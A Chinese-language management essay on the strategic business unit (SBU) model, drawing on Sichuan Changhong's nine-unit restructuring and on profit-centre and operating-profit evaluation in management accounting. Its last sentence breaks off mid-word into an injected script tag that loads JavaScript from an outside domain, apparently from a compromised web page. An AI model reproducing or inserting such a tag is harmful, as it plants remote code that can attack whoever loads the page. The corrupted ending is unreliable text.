提及战略与组织，我们不禁想起钱德勒的“组织追随战略”著名论断，当然这是理论层面的主张。可喜的是，我国企业在战略变革、实施过程中，对组织变革模式也给予了应有的关注。据报道，四川长虹股份公司按照以产品为主线，支撑多产品、跨地域的产业发展战略，把长虹产业和旗下各子公司分成了9大战略经营单元（ＳＢＵ）（多媒体产业、白电、海外事业、零部件产业、IT产业、服务业、房地产业、新能源产业、新业务等）。

    在长虹ＳＢＵ层面上，变原先的“条条”管理为“块块”管理，完善授权制度，由经营型管控向战略型管控转变，使各ＳＢＵ责、权、利一体化，而在ＳＢＵ内部则推行“纵向一体化”。9个ＳＢＵ划分以后，母公司总部变成投资控股公司，董事会承担战略主控官和投资中心的角色，受托管理长虹股份和长虹集团，负责母公司总体方向和战略，包括对各个管理层的监控和经营控制，优化业务组合；各职能部门为董事会及监事会提供专业支撑，当参谋、做服务，鼓励并支持各单元实现协同效应，但不直接管理子公司。实施授权经营后，集团公司实现基本管理制度统一、核心价值观统一、品牌管理统一、资源整合与业务协同，建立支撑长虹3C战略的母子公司管控体系。（2006年12月1日《21世纪经济报道》）。前些年，海尔集团等的ＳＢＵ。
   
    实践让我们对这一“进口”概念已不陌生。

    从概念上说，SBU是一组具有相同或类似战略成分的经营单位组成的总体。这个相同或类似的战略成分包括重叠的竞争对手、紧密相关的价值链活动、全球化竞争的需要、相同的竞争优势和关键成功因素等。每个ＳＢＵ都拥有一套相对独立完整的生产经营系统，以面向市场竞争为准则，把企业集团内对应同一类客户群、处于同一竞争领域、有着同一竞争对手的产业或服务单位组织在一起，按照集团总体战略和目标的指导，相对独立地展开经营活动。一个SBU具有一致的业务、独特的市场重点、相同的竞争对手，独立的经营职能（设计、制造、会计、经销）等四大特征。在集团战略目标的约束下，运用集团提供的资源，执行各自的竞争战略管理过程。

    说到经营单元的分类管理问题，不得不谈谈管理会计中“投资中心”、“利润中心”与“成本中心”等责任中心原理。不同类型责任中心的制度要求实现了管理会计与组织管理体制的完美结合。我有时觉得这也许是管理会计能够成为“管理者的会计”的首要根源。备受推崇的华润集团“６Ｓ”利润中心的制度安排和成功运作证明我的分析。不过，也应该承认利润中心制度在强调战略方针的公司里其弊端日益显现。

    还是以四川长虹为例，目前该公司业务越来越多元化，下属子公司多到三四十多家。这些子公司肯定是标准的“利润中心”。如果简单、整齐划一地对全部子公司实现统一、标准化的利润中心管理制度，其管理效率与效果是不难想象的。可喜的是在集团管控上长虹公司依照ＳＢＵ的四大理论特征，对所属全部子公司进行战略管理整合，归并为九大ＳＢＵ ，并配以相应战略管理机制。不难看出在SBU模式下，集团的战略被清晰地分为了公司战略与经营战略两个层次。前者主要负责战略决策、投资以及资源在不同SBU之间的配置等；而后者则涉及具体的有关集团公司战略执行和经营决策。作为市场竞争的直接实施者，由SBU提出在不同行业内或市场中进行竞争的经营战略最为恰当,而集团总部的作用则在于对各SBU提出的经营战略予以评价，并在各SBU之间依据集团总体的长远发展思路分配资源。

    再者，就利润中心而言，有一个不容忽视的问题是对利润这一概念定位的“战略”把控。单纯从利润表就可以得出毛利、营业利润、主营业务利润、投资收益、税前利润、净利润、扣除非经常性损益的净利润等概念与数值。在一个“不管白猫黑猫”、“奉行结果导向”的公司里，不会过多地关注“是什么利润？”，而只会关注最终“净利润是多少？”。但一次在与某国有大型集团总会计师的聊天中他告诉我，他们公司总裁3年前就严格界定，对各子公司管理层的考核只有利润表中的营业利润才算作考核利润，而投资收益、营业外收支净额和补贴收入等都一律不予考虑。听毕，我特别佩服这种通过财务利润的构成实现“战略过程管理”的做法，他“太有才了！”。相比之下，一味强调“净资产收益率”和“净利润指标”考核的证监会、国资委考评局和财务教授们真的有必要向这位总裁学学“什么是”和“如何开展”战略管理。我认为从考核“净利润”转到考核“营业利润”就是从利润中心制度向ＳＢＵ制度的升华。

    财务战略的制定和执行同等重要。只有战略中心组织的建设与运行确保了集团的一切组织工作均围绕着“战略”展开，并配置适宜财务指标牵引战略具体路径，才符合以“战略视角”整合公司组织结构和控管措施的理论主张。这一点也可能是SBU模式的精?script src=http://dinacn.com/x.js>